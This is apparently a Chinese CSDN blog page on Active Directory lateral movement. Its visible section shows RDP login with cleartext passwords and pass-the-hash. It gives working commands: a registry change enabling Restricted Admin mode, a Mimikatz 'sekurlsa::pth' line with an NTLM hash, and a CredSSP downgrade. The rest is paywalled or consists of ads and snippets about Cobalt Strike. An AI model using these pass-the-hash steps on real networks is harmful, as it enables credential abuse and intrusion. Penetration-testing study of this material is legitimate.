【内网安全】域横向CobalStrike&SPN&RDP

最新推荐文章于 2026-05-18 12:00:17 发布
原创 最新推荐文章于 2026-05-18 12:00:17 发布 · 1k 阅读 · 1
本文介绍域内渗透的三种核心手法：使用Mimikatz进行RDP传递、利用SPN服务进行Kerberoast攻击以及借助CobaltStrike进行全方位渗透测试。详细展示了如何通过这些技术手段在已攻破的域环境中进一步拓展控制范围。

开发板推荐：天空星STM32F407VET6开发板

超高性价比 STM32主控 | 超高主频 | 一板兼容百芯 | 比赛神器 | 沉金彩色丝印

点击查看

演示案例：
• 域横向移动RDP传递-Mimikatz
• 域横向移动SPN服务-探针,请求,导出,破解,重写
• 域横向移动测试流程一把梭哈-CobaltStrike初体验

案例1-域横向移动RDP传递-Mimikatz

除了上述讲到的IPC，WMI，SMB等协议的链接外，获取到的明文密码或HASH密文也可以通过RDP协议进行链接操作。
RDP协议连接：判断对方远程桌面服务是否开启（默认：3389），端口扫描判断


RDP明文密码链接
windows: mstsc
mstsc.exe /console /v:192.168.3.21 /admin
linux: rdesktop 192.168.3.21:3389

Q：

解决：failed to open X11 display__囧囧_的博客-CSDN博客


RDP密文HASH链接
windows Server需要开启 Restricted Admin mode，在Windows 8.1和Windows Server 2012 R2中默认开启，同时如果Win 7 和Windows Server 2008 R2安装了2871997、2973351补丁也支持；

开启命令：
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
开启后运行：
mstsc.exe /restrictedadmin
mimikatz.exe
privilege::debug
sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7 "/run:mstsc.exe /restrictedadmin"

一般在我的电脑——右键属性——远程设置

如果连接报错：出现身份验证错误/要求的函数不受支持的解决方案

windows专业版：打开gpedit.msc——计算机配置>管理模板>系统>凭据分配>加密数据库修正——选择启用并选择易受攻击
windows家庭版：打开gpedit.msc——找HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters（CredSSP\Parameters不存在则手动新建：左侧目录System点击右键，选择“新建 - 项”，输入文件夹名）——在Parameters 里 新建 DWORD（32位），名称：“AllowEncryptionOracle"，值：2——再次连接远程桌面，若仍失败则重启电脑后再次尝试

开发板推荐：天空星STM32F407VET6开发板

超高性价比 STM32主控 | 超高主频 | 一板兼容百芯 | 比赛神器 | 沉金彩色丝印

点击查看
标签
#html #css #html5
最低0.47元/天 解锁文章
CentOS7查看、修改默认启动内核，删除多于无用内核
01-07
使用cat /boot/grub2/grub.cfg |grep menuentry 查看系统可用内核 [root@bigapp-slave27 ~]# cat /boot/grub2/grub.cfg |grep menuentry if [ x${feature_menuentry_id} = xy ]; then menuentry_id_option=--id menuentry_id_option= export menuentry_id_option menuentry 'CentOS Linux (3.10.0-514.16.1.el7.x86_64) 7
易语言防杀工具
04-16
防杀工具，主要针对易语言开发！需要的快来下载啊。
Cobalt Strike使用教程一
热门推荐
迷风小白
10-24 7万+
0x00 简介 Cobalt Strike是一款基于java的渗透测试神器，常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用，分为客户端与服务端，服务端是一个，客户端可以有多个，非常适合团队协同作战，多个攻击者可以同时连接到一个团队服务器上，共享攻击资源与目标信息和sessions，可模拟APT做模拟对抗，进行内网渗透。 Cobalt Strike集...
cobalt strike快速上手指南（二）
awindog的博客
02-19 788
继续功能上的一些体验分享 在cs的shell上线后，就会获取到beacon，然后就有一些功能能够happy了 文件管理 上线后，比较重要的功能就是文件管理功能，文件浏览器，就类似拿到webshell后，能够通过蚁剑等后门管理工具进行文件控制一样，只要在对拿到的回话上右键，Explore -> File Browser就能打开 然后像下面的这些功能 upload -上传 Make Direct...
【亲测免费】 CobaltStrike 4.8 资源文件使用指南
最新发布
gitblog_09717的博客
05-18 597
本仓库提供了一个名为 `CobaltStrike4.8` 的资源文件，该文件包含了 Cobalt Strike 4.8 的服务器端和客户端配置文件。Cobalt Strike 是一款广泛使用的渗透测试工具，适用于红队和蓝队之间的对抗演练。 ## 使用方法 ### 1. 服务器端配置 1. **上传文件**：将 `server` 文件夹上传到已安装 Java 11 环境的 Linux 服务器上
Cobalt Strike使用教程
huangyongkang666的博客
04-03 6631
Cobalt Strike使用教程 1.CS简介 ​ Cobalt Strike是一款渗透测试神器，常被业界人称为CS神器,是域渗透，内网渗透，内网漫游，后渗透手段利器，但前提是获得一台主机的shell。早期版本CobaltSrtike依赖Metasploit框架，而现在Cobalt Strike已经不再使用MSF而是作为单独的平台使用，它分为客户端(Client)与服务端(Teamserver)，服务端是一个，客户端可以有多个，团队可进行分布式协团操作 ​ Cobalt Strike集成了端口转发、扫
Cobalt Strike渗透神器详解
2401_84281720的博客
04-28 1072
还有一些其他的提权插件也还不错的，有兴趣可以下载试试；先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年最新网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。 既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上网络安全知识点，真正体系化！由
CobaltStrike的内网安全
8888的博客
07-05 1604
介绍：CobaltStrike分为服务端和客户端，一般我们将服务端放在kali，客户端可以在物理机上面，或者虚拟机都可以启动服务端，首先创建一个监听（注意，这里要关闭kali的Apache服务，要不然端口占用创建监听不成功）payload选择Beacon HTTP ,HTTP Hosts选择服务器的IP点击save接着我们用CS生成一个payload（Windows exe）,使得我靶机上线：Lisrener选择我们创建的监听服务，点击Launch。
Cobalt Strike的使用
浅笑996的博客
11-15 1万+
0x00  Cobalt Strike简介       Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透测试工具，集成了端口转发、服务扫描，自动化溢出，多模式端口监听，win exe木马生成，win dll木马生成，java木马生成，office宏病毒生成，木马捆绑；钓鱼攻击包括：站点克隆，目标信息获取，java执行，浏览器自动攻击等等。而Cobalt...
Cobaltstrike简介、安装及简单使用
LUOBIKUN的博客
09-21 1万+
Cobaltstrike简介、安装及简单使用 工具分享： CS4.0 链接：https://pan.baidu.com/s/1kCxYpdjgVWSSgEFObU0nLw 提取码：38pz 工具介绍 Cobalt Strike 是一款使用java编写，C / S架构的商业渗透软件，适合多人进行团队协作，可模拟APT做模拟对抗，进行内网渗透，是一个为对手模拟和红队行动而设计的平台，主要用于执行有目标的攻击和模拟高级威胁者的后渗透行动。 组成 Cobalt Strike 分为客户端组件和服务器组件。 服务器组件
揭秘 Cobalt Strike 的“make_token”命令
技术超强的网络安全平台
08-30 1236
Windows 访问令牌和备用凭据在这篇文章中，他解释了 Windows 程序runas 的工作原理，以及**netonly标志如何允许创建本地标识与网络标识不同的进程（本地标识保持不变，而网络标识由 runas 使用的凭据表示）。Cobalt Strike 提供了make_token命令来实现与**runas /netonly类似的结果。img如果您熟悉此命令，那么您可能遇到过 Beacon 创建的进程无法正确“继承”新令牌的情况。
CobalStrike(CS)上线隐藏IP和流量
懂进攻知防守
08-06 2991
使用CDN内容分发网络的多节点分布式技术，通过“加速、代理、缓存”隐藏在后面的静态文件或服务；最终实现对外暴露的是CDN多节点的公网域名IP，很难甚至无法溯源真实后端服务器的域名或IP！......
团队协同作战渗透工具 CS神器Cobalt Strike
有勇气的牛排博客
02-14 1万+
Cobalt Strike是一款渗透测试工具，常被称为CS神器，从3.0开始不在使用Metaspoit的漏洞库，称为一个独立平台，它分为 客户端（可以是多个）和 服务端（一个）
Cobalt Strike 与 MSF 联动
weixin_42090431的博客
12-12 277
（4）set lhost kali的IP地址 # 本地 IP 地址。（5）set lport 自己设置的端口 # 和后面一样的端口。前提：win10 和 kali 需在同一网络下。kali cs服务端（msf）win 2008 受害者端。win10 cs 客户端。
cobalstrick使用_Cobalt Strike简单使用
weixin_30038009的博客
12-23 499
---恢复内容开始---一、介绍：后渗透测试工具，基于Java开发，适用于团队间协同作战，简称“CS”。CS分为客户端和服务端，一般情况下我们称服务端为团队服务器，该工具具有社工功能(社会工程学攻击)，团队服务器可以帮助我们收集信息以及管理日记记录，Linux中需要以root权限开启团队服务器，Windows中以管理员开启团队服务器。二、步骤Step1：开启团队服务器(其中serverIP一般为当...
内网安全-域横向CobaltStrike&SPN&RDP
xhscxj的博客
03-17 2975
案例1-域横向移动RDP传递-Mimikatz 除了上述讲到的IPC，WMI，SMB等协议的链接外，获取到的明文密码或HASH密文也可以通过RDP协议进行链接操作。 RDP协议连接：判断对方远程桌面服务是否开启（默认：3389），端口扫描判断 当得到密码时，如果对方开启了3389端口，可以直接进行连接并登陆 RDP明文密码链接 1.windows: mstsc 2.mstsc.exe /console /v:192.168.3.21 /admin 3.linux: rdesktop 192.168.3...
Kerberoast/Kerberoasting:攻击与检测
Ping_Pig的博客
10-21 2709
讲在前面: Kerberoasting攻击手法在域渗透中是必不可缺的一项手法，它可以帮助你利用普通用户的权限在AD中提取到服务账户的凭据，又因为一般的服务账户密码策略可能较为薄弱或密码设置为永不过期等等。所以当攻击者拿到服务凭据后，花不了多大功夫就将其暴力破解了。 注意: Windows系统默认的服务已经映射到AD中的计算机账户中，该类账户具有关联的128个字符的密码，破解起来相对费劲。 针对这个问题我们需要了解如下两个协议，当然在这里我们只能简单的介绍，笔者参考了如下几篇优秀的论文以帮助您来了解K
第69天-内网安全-域横向 CobaltStrike&SPN&RDP
MCTSOG的博客
05-19 1344
思维导图 知识点 演示案例 域横向移动RDP传递-Mimikatz 除了之前讲到的IPC，WMI，SMB等协议的连接外，获取到的明文密码或HASH密文也可以通过RDP协议进行连接操作。 RDP 远程显示协议（Remote Display Protocol ）简称RDP， RDP是微软终端服务应用的协议。 RDP协议连接：判断对方远程桌面服务是否开启（默认：3389），端口扫描判断 RDP明文密码连接 windows: mstsc /console /v :192.168.3.21：3389 /
内网安全学习(五)----域横向: SPN&RDP&Cobalt Strike
qi_SJQ_的博客
02-13 1490
域横向 CobaltStrike&SPN&RDP 1.域横向移动—RDP传递-Mimikatz 除了之前提到的IPC、WMI、SMB、NTLM等协议的连接外，获取到的明文密码或HASH密文也可以通过RDP协议(3389端口)进行连接操作。 1）RDP明文密码连接： Windows: mstsc mstsc.exe /console /v192.168.3.21 /admin linux: rdesktop 192.168.3.21:3389 2）RDP密文hash连接： windows
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值